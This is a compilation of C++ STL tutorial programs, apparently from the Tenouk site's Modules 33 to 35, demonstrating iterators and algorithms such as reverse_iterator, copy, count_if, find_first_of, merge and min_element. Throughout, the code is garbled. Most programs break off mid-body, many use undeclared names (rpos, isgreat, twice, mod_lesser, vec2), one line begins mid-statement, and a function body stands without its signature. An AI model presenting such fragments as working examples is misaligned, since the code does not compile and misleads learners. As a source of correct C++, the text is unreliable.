// ostreambuf_iterator for stream cout
ostreambuf_iterator<char> charOut(cout);
*charOut = '7';
charOut ++;
*charOut = 'T';
charOut ++;
*charOut = 'W';
cout<<" are characters output."<<endl;
ostreambuf_iterator<char> strOut(cout);
string str = "These characters are being written to the output stream.\n ";
copy(str.begin(), str.end(), strOut);
return 0;
}
-----------------------------------------------------------------------------------------
//ostreambuf_iterator, failed()
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
//ostreambuf_iterator for stream cout
ostreambuf_iterator<char> charOut(cout);
*charOut = 'T';
charOut ++;
*charOut = '7';
charOut ++;
*charOut = 'R';
cout<<" are characters output"<<endl;
-----------------------------------------------------------------------------------------
//reverse_iterator, operator[]
#include <iterator>
#include <algorithm>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 10; i<=17; ++i)
vec.push_back(i);
cout<<"Normal....\n";
vector <int>::iterator vIter;
cout<<"The vector vec data: ";
for(vIter = vec.begin(); vIter != vec.end(); vIter++)
cout<<*vIter<<" ";
cout<<endl;
cout<<"\nReverse....\n";
vector <int>::reverse_iterator rvIter;
cout<<"The vector vec reversed data: ";
for(rvIter = vec.rbegin(); rvIter != vec.rend(); rvIter++)
cout<<*rvIter<<" ";
cout<<endl;
cout<<"\nOperation: rpos(pos)\n";
cout<<"The iterator rpos points to: "<<*rpos<<endl;
-----------------------------------------------------------------------------------------
//reverse_iterator, pointer
#include <iterator>
#include <algorithm>
#include <vector>
#include <utility>
#include <iostream>
using namespace std;
int main()
{
pVector::iterator pvIter;
cout<<"Operation: pvIter->first and pvIter->second\n";
cout<<"The vector vec of integer pairs is: \n";
for(pvIter = vec.begin(); pvIter != vec.end(); pvIter++)
cout<<pvIter->first<<", "<<pvIter->second<<endl;
pVector::reverse_iterator rpvIter;
-----------------------------------------------------------------------------------------
//reverse_iterator, base()
#include <iterator>
#include <algorithm>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);
vector<int>::reverse_iterator rvIter;
cout<<"The vector vec reversed data: ";
for(rvIter = vec.rbegin(); rvIter != vec.rend(); rvIter++)
cout<<*rvIter<<" ";
cout<<endl;
cout<<"\nFinding data...";
cout<<"\nOperation: pos = find(vec.begin(), vec.end(), 13)\n";
vector <int>::iterator pos, bpos;
pos = find(vec.begin(), vec.end(), 13);
cout<<"The iterator pos points to: "<<*pos<<endl;
reverse_iterator<it_vec_int_type> rpos(pos);
-----------------------------------------------------------------------------------------
//Inserter iterator
#include <iostream>
#include <vector>
#include <deque>
#include <list>
#include <set>
#include <algorithm>
using namespace std;
int main()
{
list<int> lst;
list <int>::iterator lstIter;
//insert elements from 1 to 10 into the lst list
for(int i=1; i<=10; ++i)
lst.push_back(i);
cout<<"Operation: lst.push_back(i)\n";
cout<<"lst data: ";
for(lstIter = lst.begin(); lstIter != lst.end(); lstIter++)
cout<<*lstIter<<' ';
cout<<endl;
//copy the elements of lst list into vec vector by appending them
vector<int> vec;
vector <int>::iterator Iter;
//from source to destination...
copy(lst.begin(), lst.end(), back_inserter(vec));
-----------------------------------------------------------------------------------------
//stream iterator
#include <iostream>
#include <vector>
#include <string>
#include <algorithm>
using namespace std;
int main()
{
vector<string> strvec;
vector <string>::iterator Iter;
//read from the standard input until EOF/error
//the EOF is platform dependent...
//then copy (inserting) to strvec vector...
//copy from begin to end of source, to destination
-----------------------------------------------------------------------------------------
#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
int main()
{
vector<int> vec;
//insert elements from 1 to 10
for(int i=1; i<=10; ++i)
vec.push_back(i);
---------------------------------------G++--------------------------------------------------
//******ostreamiterator.cpp********
//ostream_iterator, ostream_iterator
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
//ostream_iterator for stream cout
ostream_iterator<int> intOut(cout, "\n");
*intOut = 12;
intOut++;
*intOut = 33;
intOut++;
int i;
vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);
-----------------------------------------------------------------------------------------
//*****insertiter.cpp******
//Inserter iterator
#include <iostream>
#include <vector>
#include <deque>
#include <list>
#include <set>
#include <algorithm>
using namespace std;
int main()
{
list<int> lst;
list <int>::iterator lstIter;
//insert elements from 1 to 10 into the lst list
for(int i=1; i<=10; ++i)
lst.push_back(i);
cout<<"Operation: lst.push_back(i)\n";
cout<<"lst data: ";
for(lstIter = lst.begin(); lstIter != lst.end(); lstIter++)
cout<<*lstIter<<' ';
cout<<endl;
//copy the elements of lst list into vec vector by appending them
vector<int> vec;
vector <int>::iterator Iter;
//from source to destination...
copy(lst.begin(), lst.end(), back_inserter(vec));
============================MODULE33=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
g++ are given at the end of every Module. For example if you want to
compile C++ codes using VC++/VC++ .Net, change the header file accordingly.
Just need some modification for the header files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
int main()
{
//declare a vector and the iterator
vector<int> vec;
vector<int>::iterator pos;
--------------------------------------------------------------------------------------
//algorithm, example
#include <iostream>
#include <vector>
#include <list>
#include <deque>
#include <algorithm>
using namespace std;
int main()
{
list<int> lst1;
list<int>::iterator pos;
vector<int> vec1;
vector<int>::iterator pos1;
//display data
cout<<"The list lst1 data: ";
for(pos=lst1.begin(); pos!=lst1.end(); pos++)
cout<<*pos<<" ";
cout<<endl;
--------------------------------------------------------------------------------------
int main()
{
list<int> lst1;
if(pos != lst1.end())
{
//found
cout<<*pos<<" is the first prime number found"<<endl;
}
else {
//not found
cout<<"no prime number found"<<endl;
}
}
----------------------------------------G++----------------------------------------------
//********algo.cpp*********
//algorithm, example
#include <iostream>
#include <vector>
#include <list>
#include <deque>
#include <algorithm>
using namespace std;
int main()
{
list<int> lst1;
list<int>::iterator pos;
vector<int> vec1;
vector<int>::iterator pos1;
//display data
cout<<"The list lst1 data: ";
for(pos=lst1.begin(); pos!=lst1.end(); pos++)
cout<<*pos<<" ";
cout<<endl;
deq1.begin()); //destination
============================MODULE34=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
g++ are given at the end of every Module. For example if you want to
compile C++ codes using VC++/VC++ .Net, change the header file accordingly.
Just need some modification for the header files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
//algoritm, adjacent_find()
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
list<int> lst;
list<int>::iterator Iter;
list<int>::iterator result1, result2;
lst.push_back(14);
lst.push_back(17);
lst.push_back(31);
lst.push_back(31);
lst.push_back(10);
lst.push_back(20);
------------------------------------------------------------------------------------------------
//algorithm, binary_search()
#include <list>
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
list<int> lst;
list<int>::iterator Iter;
bool b1, b2;
lst.push_back(13);
lst.push_back(23);
lst.push_back(10);
lst.push_back(33);
lst.push_back(35);
lst.push_back(9);
lst.sort();
cout<<"List lst data: ";
for(Iter = lst.begin(); Iter != lst.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;
------------------------------------------------------------------------------------------------
//algoritm, copy()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;
int i;
for(i = 0; i <= 5; i++)
vec1.push_back(i);
int j;
for(j = 10; j <= 20; j++)
vec2.push_back(j);
//To copy the first 4 elements of vec1 into the middle of vec2
copy(vec1.begin(), vec1.begin() + 4, vec2.begin() + 5);
-------------------------------------------------------------------------------------------------
//algorithm, copy_backward()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;
int i;
for(i = 10; i <= 15; i++)
vec1.push_back(i);
int j;
for(j = 0; j <= 10; j++)
vec2.push_back(j);
//To copy_backward the first 4 elements of vec1 into the middle of vec2
copy_backward(vec1.begin(), vec1.begin() + 4, vec2.begin() + 8);
-----------------------------------------------------------------------------------------------
//algorithm, count()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec;
vector <int>::iterator Iter;
vec.push_back(12);
vec.push_back(22);
vec.push_back(12);
vec.push_back(31);
vec.push_back(12);
vec.push_back(33);
int result;
cout<<"\nOperation: count(vec.begin(), vec.end(), 12)\n";
result = count(vec.begin(), vec.end(), 12);
cout<<"The number of 12s in vec is: "<<result<<endl;
return 0;
}
-----------------------------------------------------------------------------------------------
//algorithm, count_if()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec;
vector <int>::iterator Iter;
vec.push_back(13);
vec.push_back(21);
vec.push_back(9);
vec.push_back(31);
vec.push_back(8);
vec.push_back(10);
int result1;
cout<<"\nOperation: count_if(vec.begin(), vec.end(), isgreat)\n";
result1 = count_if(vec.begin(), vec.end(), isgreat);
cout<<"The number of elements in vec greater than 8 is: "<<result1<<endl;
return 0;
}
-----------------------------------------------------------------------------------------------
// countif()
//
// Functions:
// count_if - Count items in a range that satisfy a predicate.
// begin - Returns an iterator that points to the first element in
// a sequence.
// end - Returns an iterator that points one past the end of a
// sequence.
#include <iostream>
#include <algorithm>
#include <functional>
#include <string>
#include <vector>
int main()
{
const int VECTOR_SIZE = 110;
NamesVect[0] = "Learn";
NamesVect[1] = "C";
NamesVect[2] = "and";
NamesVect[3] = "C++";
NamesVect[4] = "also";
NamesVect[5] = "Visual";
NamesVect[6] = "C++";
NamesVect[7] = "and";
NamesVect[8] = "C++";
NamesVect[9] = ".Net";
-------------------------------------------------------------------------------------------------
//algorithm, equal()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2, vec3;
vector <int>::iterator Iter1, Iter2, Iter3;
int i;
for(i = 10; i <= 15; i++)
vec1.push_back(i);
int j;
for(j = 0; j <= 5; j++)
vec2.push_back(j);
int k;
for(k = 10; k <= 15; k++)
vec3.push_back(k);
if(b)
cout<<"The vectors vec1 and vec2 are equal based on equality."<<endl;
else
cout<<"The vectors vec1 and vec2 are not equal based on equality."<<endl;
if(c)
cout<<"The vectors vec1 and vec3 are equal based on equality."<<endl;
else
cout<<"The vectors vec1 and vec3 are not equal based on equality."<<endl;
if(d)
cout<<"The vectors vec1 and vec3 are equal based on twice."<<endl;
else
cout<<"The vectors vec1 and vec3 are not equal based on twice."<<endl;
return 0;
}
-----------------------------------------------------------------------------------------------
//algorithm, equal_range()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;
pair < vector <int>::iterator, vector <int>::iterator > Result1, Result2, Result3;
int j;
for(j =1; j <= 5; j++)
vec1.push_back(j);
sort(vec1.begin(), vec1.end());
cout<<"vec1 data with range sorted by the binary predicate less than is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
cout<<"\nvec2 data with range sorted by the binary predicate greater than is:\n";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;
cout<<"\nvec3 data with range sorted by the binary predicate mod_lesser is:\n";
for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<"\n\n";
--------------------------------------------------------------------------------------------------
//algoritm, fill()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec;
vector <int>::iterator Iter1;
int i;
for(i = 10; i <= 20; i++)
vec.push_back(i);
return 0;
}
----------------------------------------------------------------------------------------------
//algorithm, fill_n()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec;
vector <int>::iterator Iter1;
int i;
for(i = 10; i <= 20; i++)
vec.push_back(i);
---------------------------------------------------------------------------------------------------
//algorithm, find()
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
list <int> lst;
list <int>::iterator Iter;
list <int>::iterator result;
lst.push_back(9);
lst.push_back(21);
lst.push_back(14);
lst.push_back(10);
lst.push_back(16);
lst.push_back(31);
----------------------------------------------------------------------------------------------------
//algorithm, find_end()
//some type conversion warning
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;
int i;
for(i = 10; i <= 15; i++)
vec1.push_back(i);
int j;
for(j = 11; j <= 14; j++)
lst.push_back(j);
int k;
for(k = 12; k <= 14; k++)
vec2.push_back(2*k);
if(result1 == vec1.end())
cout<<"There is no match of lst in vec1."<<endl;
else
cout<<"There is a match of lst in vec1 that begins at "
<<"position "<<result1 - vec1.begin()<<endl;
//Searching vec1 for a match to lst under the binary predicate twice
vector <int>::iterator result2;
result2 = find_end(vec1.begin(), vec1.end(), vec2.begin(), vec2.end(), twice);
if(result2 == vec1.end())
cout<<"\nThere is no match of lst in vec1."<<endl;
else
cout<<"\nThere is a sequence of elements in vec1 that "
<<"are\nequivalent to those in vec2 under the binary "
<<"predicate\ntwice and that begins at position "
<<result2 - vec1.begin()<<endl;
return 0;
}
--------------------------------------------------------------------------------------------------
//algorithm, find_first_of()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;
int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);
int j;
for(j = 3; j <= 4; j++)
lst.push_back(5*j);
int k;
for(k = 2; k <= 4; k++)
vec2.push_back(10*k);
if(result1 == vec1.end())
cout<<"\nThere is no match of lst in vec1."<<endl;
else
cout<<"\nThere is at least one match of lst in vec1"
<<"\nand the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;
//Searching vec1 for a match to lst under the binary predicate twice
vector <int>::iterator result2;
result2 = find_first_of(vec1.begin(), vec1.end(), vec2.begin(), vec2.end(), twice);
if(result2 == vec1.end())
cout<<"\nThere is no match of lst in vec1."<<endl;
else
cout<<"\nThere is a sequence of elements in vec1 that "
<<"are\nequivalent to those in vec2 under the binary\n"
<<"predicate twice and the first one begins at position "
<<result2 - vec1.begin()<<endl;
return 0;
}
------------------------------------------------------------------------------------------------
//algoritm, find_if()
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
list <int> lst;
list <int>::iterator Iter;
list <int>::iterator result;
lst.push_back(13);
lst.push_back(9);
lst.push_back(10);
lst.push_back(22);
lst.push_back(31);
lst.push_back(17);
-------------------------------------------------------------------------------------------------
//algorithm, for_each()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
class Average
{
private:
//The number of elements
long num;
//The sum of the elements
long sum;
public:
//Constructor initializes the value to multiply by
Average() : num(0), sum(0){}
int main()
{
vector <int> vec;
vector <int>::iterator Iter1;
-------------------------------------------------------------------------------------------------
//algorithm, generate()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
//Assigning random values to vector integer elements
vector <int> vec(5);
vector <int>::iterator Iter1;
deque <int> deq(5);
deque <int>::iterator deqIter;
--------------------------------------------------------------------------------------------------------
//algorithm, generate_n()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
//Assigning random values to vector integer elements
vector <int> vec(7);
vector <int>::iterator Iter1;
deque <int> deq(7);
deque <int>::iterator deqIter;
----------------------------------------------------------------------------------------------------------
//algorithm, includes()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;
int j;
for(j =-2; j <= 3; j++)
vec2.push_back(j);
bool Result1;
Result1 = includes(vec1.begin(), vec1.end(), vec2.begin(), vec2.end());
if(Result1)
cout<<"\nAll the elements in vector vec2 are contained in vector vec1."<<endl;
else
cout<<"\nAt least one of the elements in vector vec2 is not contained in vector vec1."<<endl;
---------------------------------------------------G++-----------------------------------------------------------
//******algocopy.cpp********
//algoritm, copy()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;
int i;
for(i = 0; i <= 5; i++)
vec1.push_back(i);
int j;
for(j = 10; j <= 20; j++)
vec2.push_back(j);
cout<<*Iter2<<" ";
cout<<endl;
//To copy the first 4 elements of vec1 into the middle of vec2
copy(vec1.begin(), vec1.begin() + 4, vec2.begin() + 5);
----------------------------------------------------------------------------------------
//******algofindfirstof.cpp********
//algorithm, find_first_of()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;
int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);
int j;
for(j = 3; j <= 4; j++)
lst.push_back(5*j);
int k;
for(k = 2; k <= 4; k++)
vec2.push_back(10*k);
if(result1 == vec1.end())
cout<<"\nThere is no match of lst in vec1."<<endl;
else
cout<<"\nThere is at least one match of lst in vec1"
<<"\nand the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;
//Searching vec1 for a match to lst under the binary predicate twice
vector <int>::iterator result2;
result2 = find_first_of(vec1.begin(), vec1.end(), vec2.begin(), vec2.end(), twice);
if(result2 == vec1.end())
cout<<"\nThere is no match of lst in vec1."<<endl;
else
cout<<"\nThere is a sequence of elements in vec1 that "
<<"are\nequivalent to those in vec2 under the binary\n"
<<"predicate twice and the first one begins at position "
<<result2 - vec1.begin()<<endl;
return 0;
}
============================MODULE35=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
g++ are given at the end of every Module. For example if you want to
compile C++ codes using VC++/VC++ .Net, change the header file accordingly.
Just need some modification for the header files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================
//algorithm, inplace_merge()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
int j;
for(j =-5; j <= 0; j++)
vec1.push_back(j);
cout<<"\nvector vec2merg data, merged inplace with binary\npredicate greater specified: ";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;
-----------------------------------------------------------------------------------------------------
//algorithm, iter_swap()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;
class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);
class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{ m_nVal = rhs.m_nVal; return *this;}
bool operator<(const CInt& rhs) const
{ return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);
private:
int m_nVal;
};
int main()
{
CInt c1 = 9, c2 = 12, c3 = 17;
deque<CInt> deq;
deque<CInt>::iterator deqIter;
deq.push_back(c1);
deq.push_back(c2);
deq.push_back(c3);
cout<<"\nThe deque of CInts data with first and last\nelements re swapped is: ";
for(deqIter = deq.begin(); deqIter != --deq.end(); deqIter++)
cout<<" "<<*deqIter<<",";
deqIter = --deq.end();
cout<<" "<<*deqIter<<endl;
int i;
for(i = 10; i <= 14; i++)
vec.push_back(i);
int j;
for(j = 16; j <= 20; j++)
deq1.push_back(j);
cout<<endl;
iter_swap(vec.begin(), deq1.begin());
cout<<"\nAfter exchanging first elements,\nvector vec data is: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl<<"and deque deq1 data is: ";
for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;
return 0;
}
-----------------------------------------------------------------------------------------------------
//algorithm, lexicographical_compare()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;
int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);
int j;
for(j = 0; j <= 6; j++)
lst.push_back(5*j);
int k;
for(k = 0; k <= 5; k++)
vec2.push_back(10*k);
-----------------------------------------------------------------------------------------------------
//algorithm, lower_bound()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1, Result1;
//Constructing vectors vec1a & vec1b with default less than ordering
int i;
for(i = -3; i <= 6; i++)
vec1.push_back(i);
int j;
for(j =-5; j <= 2; j++)
vec1.push_back(j);
-----------------------------------------------------------------------------------------------------
//algorithm, make_heap()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;
int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);
-----------------------------------------------------------------------------------------------------
//algorithm, max()
#include <vector>
#include <set>
#include <algorithm>
#include <iostream>
using namespace std;
class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);
class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{m_nVal = rhs.m_nVal; return *this;}
bool operator<( const CInt& rhs ) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);
private:
int m_nVal;
};
int main()
{
//Comparing integers directly using the max algorithm
int a = 11, b = -12, c = 20;
const int& result1 = max(a, b, mod_greater);
const int& result2 = max(b, c);
st1.insert(c1);
st1.insert(c2);
st2.insert(c2);
st2.insert(c3);
cout<<*st1_Iter<<",";
st1_Iter = --st1.end();
cout<<*st1_Iter<<")."<<endl;
int i;
for(i = 0; i <= 3; i++)
vec1.push_back(i);
int j;
for(j = 0; j <= 4; j++)
vec2.push_back(j);
int k;
for(k = 0; k <= 2; k++)
vec3.push_back(2*k);
-----------------------------------------------------------------------------------------------------
//algorithm, max_element()
#include <vector>
#include <set>
#include <algorithm>
#include <iostream>
using namespace std;
class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);
class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{m_nVal = rhs.m_nVal; return *this;}
bool operator<(const CInt& rhs) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);
private:
int m_nVal;
};
int main()
{
//Searching a set container with elements of type CInt
//for the maximum element
CInt c1 = 1, c2 = 2, c3 = -3;
set<CInt> st1;
st1.insert(c1);
st1.insert(c2);
st1.insert(c3);
int i;
for(i = 0; i <= 3; i++)
vec.push_back(i);
int j;
for(j = 1; j <= 4; j++)
vec.push_back(-j);
-----------------------------------------------------------------------------------------------------
//algorithm, merge()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}
int main()
{
vector <int> vec1a, vec1b, vec1(12);
vector <int>::iterator Iter1a, Iter1b, Iter1;
//Constructing vector vec1a and vec1b with default less than ordering
int i;
for(i = 0; i <= 5; i++)
vec1a.push_back(i);
int j;
for(j =-5; j <= 0; j++)
vec1b.push_back(j);
-----------------------------------------------------------------------------------------------------
//algorithm, min()
#include <vector>
#include <set>
#include <algorithm>
#include <iostream>
using namespace std;
class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);
class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{
m_nVal = rhs.m_nVal;
return *this;
}
bool operator<(const CInt& rhs) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);
private:
int m_nVal;
};
int main()
{
//Comparing integers directly using the min algorithm with
//binary predicate mod_lesser & with default less than
int a = 9, b = -12, c = 12;
const int& result1 = min(a, b, mod_lesser);
const int& result2 = min(b, c);
st1.insert(ci1);
st1.insert(ci2);
st2.insert(ci2);
st2.insert(ci3);
int i;
for(i = 1; i <= 4; i++)
vec1.push_back(i);
int j;
for(j = 1; j <= 3; j++)
vec2.push_back(j);
int k;
for(k = 1; k <= 3; k++)
vec3.push_back(2*k);
-----------------------------------------------------------------------------------------------------
//algorithm, min_element()
#include <vector>
#include <set>
#include <algorithm>
#include <iostream>
using namespace std;
class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);
class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal( rhs.m_nVal ){}
CInt& operator=(const CInt& rhs)
{
m_nVal = rhs.m_nVal;
return *this;
}
bool operator<(const CInt& rhs) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);
private:
int m_nVal;
};
int main()
{
//Searching a set container with elements of type CInt
//for the minimum element
CInt ci1 = 4, ci2 = 12, ci3 = -4;
set<CInt> st1;
set<CInt>::iterator st1Iter, st2Iter, st3Iter;
st1.insert(ci1);
st1.insert(ci2);
st1.insert(ci3);
int i;
for(i = 1; i <= 4; i++)
vec1.push_back(i);
int j;
for(j = 1; j <= 5; j++)
vec1.push_back(-2*j);
-----------------------------------------------------------------------------------------------------
//algorithm, mismatch()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;
int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);
int j;
for(j = 0; j <= 7; j++)
lst.push_back(5*j);
int k;
for(k = 0; k <= 5; k++)
vec2.push_back(10*k);
lst.insert(lst_inIter, 70);
cout<<"The modified lst data: ";
for(lst_Iter = lst.begin(); lst_Iter!= lst.end(); lst_Iter++)
cout<<*lst_Iter<<" ";
cout<<endl;
//Test vec1 and vec2 for mismatch under the binary predicate twice
pair<vector <int>::iterator, vector <int>::iterator> result2;
cout<<"\nOperation: mismatch(vec1.begin(), vec1.end(), vec2.begin(), twice).\n";
result2 = mismatch(vec1.begin(), vec1.end(), vec2.begin(), twice);
if(result2.first == vec1.end())
cout<<"The two ranges do not differ based on the\nbinary predicate twice."<<endl;
else
